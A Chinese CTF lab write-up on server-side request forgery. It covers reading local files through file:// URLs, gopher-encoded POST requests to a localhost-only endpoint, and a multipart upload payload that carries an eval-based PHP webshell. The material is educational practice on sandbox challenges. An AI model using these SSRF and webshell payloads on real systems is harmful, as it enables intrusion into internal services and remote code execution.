CTFHub技能树笔记之SSRF：POST请求、文件上传

知识点：

1.什么是gopher协议

1.Gopher协议是一种信息查找系统，他将Internet上的文件组织成某种索引，方便用户从Internet的一处带到另一处。但在WWW出现后，Gopher失去了昔日的辉煌。现在它基本过时，人们很少再使用它。
2.它只支持文本，不支持图像
3.Gopher 协议可以做很多事情，特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache，也可以进行 GET、POST 请求。

2.gopher使用结构

gopher://127.0.0.1:80/_{TCP/IP数据流}       #_不能省

3.注意事项

1.默认端口为70

2.如果发起post请求，回车换行需要使用%0d%0a，如果多个参数，参数之间的&也需要进行URL编码

一、POST请求

题目有提示需用302跳转，以php的curl实现

使用dirsearch发现有以下界面，都访问看一下

python dirsearch.py -u http://challenge-c81b1dbf4106f429.sandbox.ctfhub.com:10800/?url=127.0.0.1

 只有flag.php有东西

 

我们尝试用file://读取文件,得到如下代码：

index.php

?url=file:///var/www/html/index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();                               //初始化一次curl对话，ch返回curl句柄
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0);             //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);     // 位掩码， 1 (301 永久重定向)
curl_exec($ch);
curl_close($ch);

 flag.php

?url=file:///var/www/html/flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;                                      #当post传值为key时使出flag
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

解题思路：

我们知道只要往flag.php传key值就可以得到flag，而index.php可以利用curl传url，那么我们可以用gopher协议在index.php中构造post请求包往flag.php传key值，以此获取flag

POST包必须包含的四个参数：Content-Type,Content-Length,host,post

POST包如下：

POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Type: application/x-www-form-urlencoded

Content-Length: 36                //长度为key的长度

key=0bd5e192bb3c5e0f3df6b8ddf4252d9c

gopher的数据需要用url编码三次之后再发送，且第一次编码后%0A需全部替换成%0D%0A，现在进行编码

三次编码后成这样了

完整payloads如下，前面都一样的，主要是key值每个人都不一样：

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D0bd5e192bb3c5e0f3df6b8ddf4252d9c

 最后使用burp发包

 艰难拿到flag

二、上传文件

1.题目已经提示说需要上传一个文件到flag.php

2.访问并且查看源代码，得到以下代码

?url=file:///var/www/html/flag.php

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

3.意思是需要在本地上传且文件不能为空，而且这里缺了一个提交按钮，我们直接给他加上

 4.发现index.php还是存在的，而且代码和之前一样没变

5.那我们可以继续使用POST请求的方法向flag.php传递参数了，以下过程和POST请求一样，这里就单放图，不细说了

 

 

最后放上三次编码后的POST包，供大家参考

 POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520challenge-18dcec6a7d5dd0bc.sandbox.ctfhub.com%25253A10800%25250D%25250AUser-Agent%25253A%252520Mozilla/5.0%252520%252528Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64%25253B%252520rv%25253A98.0%252529%252520Gecko/20100101%252520Firefox/98.0%25250D%25250AAccept%25253A%252520text/html%25252Capplication/xhtml%25252Bxml%25252Capplication/xml%25253Bq%25253D0.9%25252Cimage/avif%25252Cimage/webp%25252C%25252A/%25252A%25253Bq%25253D0.8%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.8%25252Czh-TW%25253Bq%25253D0.7%25252Czh-HK%25253Bq%25253D0.5%25252Cen-US%25253Bq%25253D0.3%25252Cen%25253Bq%25253D0.2%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AContent-Type%25253A%252520multipart/form-data%25253B%252520boundary%25253D---------------------------224081668421857974283262262083%25250D%25250AContent-Length%25253A%252520384%25250D%25250AOrigin%25253A%252520http%25253A//challenge-18dcec6a7d5dd0bc.sandbox.ctfhub.com%25253A10800%25250D%25250AConnection%25253A%252520close%25250D%25250AReferer%25253A%252520http%25253A//challenge-18dcec6a7d5dd0bc.sandbox.ctfhub.com%25253A10800/%25253Furl%25253D127.0.0.1/flag.php%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250A%25250D%25250A-----------------------------224081668421857974283262262083%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522123.txt%252522%25250D%25250AContent-Type%25253A%252520text/plain%25250D%25250A%25250D%25250A%25253C%25253Fphp%25250D%25250A%252520%252520%252520%252520%252540eval%252528%252524_REQUEST%25255B%252522shell%252522%25255D%252529%25253B%25250D%25250A%25253F%25253E%25250D%25250A-----------------------------224081668421857974283262262083%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250D%25250A%25250D%25250A%2525E9%25258E%2525BB%2525E6%252584%2525AA%2525E6%2525B0%2525A6%2525E9%25258F%25258C%2525E3%252583%2525A8%2525EE%252587%252597%25250D%25250A-----------------------------224081668421857974283262262083--

参考文章：

https://www.cnblogs.com/beidaxmf/p/13935298.html

https://blog.csdn.net/xiaoka__/article/details/121225099

https://www.cnblogs.com/bonelee/p/15194031.html